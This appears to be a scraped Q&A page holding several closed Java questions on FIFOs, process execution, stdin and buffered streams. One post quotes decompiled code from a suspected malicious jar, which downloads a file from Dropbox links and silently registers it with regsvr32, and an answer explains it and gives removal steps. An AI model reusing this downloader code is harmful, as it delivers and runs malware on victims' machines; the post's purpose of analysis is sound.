How to open and read an FIFO [closed] - java

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
Guys please suggest me some good way to handle below in java.
I need to open an FIFO , check if there is any error in opening , then
Read from the Fifo and write into an File .
I will really glad if anyone could help me with this .

To read a fifo with java, you treat it like a regular file, I used the code below to verify
import java.io.InputStream;
import java.io.FileInputStream;
import java.io.ByteArrayOutputStream;
class catfile {
public static void main(String[] args) throws java.io.FileNotFoundException, java.io.IOException {
byte[] b = getBytesFromInputStream(new FileInputStream(args[0]));
System.out.print(new String(b));
}
public static byte[] getBytesFromInputStream(InputStream is) throws java.io.IOException {
ByteArrayOutputStream res = new ByteArrayOutputStream();
byte[] bytes = new byte[0x10000]; /* 0x10000 = 65536 */
int numRead = 0;
while ((numRead = is.read(bytes, 0, bytes.length)) >= 0) {
res.write(bytes, 0, numRead);
}
return res.toByteArray();
}
}
the test went as follows
$ rm -f aaa; mkfifo aaa; (sleep 5; date >> aaa) &
$ javac catfile.java && java -ea -cp . catfile aaa
Thu Dec 5 08:18:51 UTC 2013

Related

make java communicate with a C++ program [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I have a C++ program which uses command line as its mean for IO. I don't know C++, nor do I have the program's source code. I want my java application to open the C++ program , give some input and gather the result from the C++ code. Is there a way?
UPDATE: I need to enter the input at runtime.
You can use java.lang.Runtime
For example:
public class TestRuntime {
public static void main(String[] args) {
try {
Process p = Runtime.getRuntime().exec("test.bat");
// test.bat or test.sh in linux is script with command to run (c++) program
// or direct path to application's exec
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
In addition, you can read about difference between Runtime and ProcessBuilder in this topic.

Please some one explain me the output of this JAVA code DO NOT RUN THIS CODE IT WILL STEAL PASSWORDS [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
This is a jar executable file I just obtained. It looks like a some kind of a virus. stealing passwords. I think. but I dont know what it actually do. I decoded it by a software and obtained the code.
so can some one please just look at this code (DO NOT RUN IT) and just explain what is actually done in this code?
public static void Run() throws IOException
{
int i = 3;
while (i < 9)
{
Runtime.getRuntime().exec("regsvr32 /s C:\\temp\\YQJHBJX.PWY");
i++;
}
}
public static void main(String[] args) throws Exception
{
new File("C:\\temp\\").mkdir();
File localFile = new File("C:\\temp\\YQJHBJX.PWY");
if (localFile.exists())
{
Run();
}
else
{
String[] arrayOfString1 = "f6pb6ya5e5vc0q5/d.dat?dl=1###21urb4zg9n2on4s/d.dat?dl=1".split("###");
for (String str1 : arrayOfString1)
{
URL localURL = new URL("https://dl.dropboxusercontent.com/s/" + str1);
HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
localHttpURLConnection.connect();
if (localHttpURLConnection.getResponseCode() / 100 == 2)
{
String str2 = "https://dl.dropboxusercontent.com/s/"+ str1;
String str3 = "C:\\temp\\YQJHBJX.PWY";
goToWeb(str2, str3);
break;
}
}
}
}
public static void goToWeb(String paramString1, String paramString2) throws IOException
{
System.out.println(paramString1);
System.out.println(paramString2);
InputStream localInputStream = URI.create(paramString1).toURL().openStream();
Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);
Run();
}
It's downloading a most likely malicious file from dropbox and registering it as a DLL. Exploit is in that file: "C:\temp\YQJHBJX.PWY" unregister it with regsvr32 /u and delete it if it exists.

reading both stdin and arguments from command line java [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I'm having trouble reading both arguments and stdin from the command line when running a java file. I can read in arguments on their own and stdin on it's own but not together; for example:
java myFile 6 2 < numbers.txt
I can get it to store 6 and 2 in an array but then it just stores "<" and "text.txt" also. I've been unable to find anything online describing a similar problem so not really sure where to begin.
Command-line arguments are received in the String[]-typed parameter of the main method. Input redirection is done the same as for any other process invoked at the command line. The bytes can be retrieved by reading from stdin until EOF is reached.
Command: java myClass myArg < myFile
public static void main(String[] args)
{
System.out.println("Arg 1 = " + args[0] + "\nStdin = ");
try (InputStreamReader isr = new InputStreamReader(System.in)) {
int ch;
while((ch = isr.read()) != -1)
System.out.print((char)ch);
}catch(IOException e) {
e.printStackTrace();
}
}
For more info:
http://docs.oracle.com/javase/tutorial/essential/environment/cmdLineArgs.html
http://docs.oracle.com/javase/tutorial/essential/io/cl.html

Unbuffered and Buffered streams [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
I am trying to write a program that just reads and write an unbuffered steam, and reads and writes a buffered stream. Following the example on the java docs, I've got this for my buffered stream, which works fine.
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
public class CopyCharacters {
public static void main(String[] args) throws IOException {
FileReader inputStream = null;
FileWriter outputStream = null;
try {
inputStream = new FileReader("unbufferedread.txt");
outputStream = new FileWriter("unbufferedwrite.txt");
int c;
while ((c = inputStream.read()) != -1) {
outputStream.write(c);
}
// Add finally block incase of errors.
// Display error if input file is not found.
} finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
}
}
}
However the Java docs say "Here's how you might modify the constructor invocations in the CopyCharacters example to use buffered I/O:".
inputStream = new BufferedReader(new FileReader("bufferedread.txt"));
outputStream = new BufferedWriter(new FileWriter("bufferedwrite.txt"));
My question is how to implement it. Is it possible to add it all to one class? When I try to add it, I get an error saying:
"Cannot find symbol - class BufferedReader"
Any help would be great. Thanks.
You have to import the java.io.BufferedReader and java.io.BufferedWriter classes. Based on the code you posted, you aren't doing that. So just add the two lines:
import java.io.BufferedReader;
import java.io.BufferedWriter;

Get constant feedback from bash process, java [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
To execute process/command in bash from java one can use the following class:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Arrays;
public class CmdExecutor {
public CmdExecutor(){
}
public void exe(String [] args) throws IOException{
if (args.length <= 0) {
System.out.println("empty command");
return;
}
Process process = new ProcessBuilder(args).start();
InputStream is = process.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
System.out.printf("Output of running %s is:",
Arrays.toString(args));
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
}
However. What if the process don't terminate(yet). It does calculations and output it in the shell. I want to be able to run the process in another thread and get changes in the output, like frame by frame strings. How can this be achieved?
Check out
http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/LinkedBlockingQueue.html
You may want to have one thread (producer) reading process output, and putting them into a LinkedBlockingQueue (queue.put), then have another thread (consumer) to get elements from the queue (queue.poll) and process it.

Categories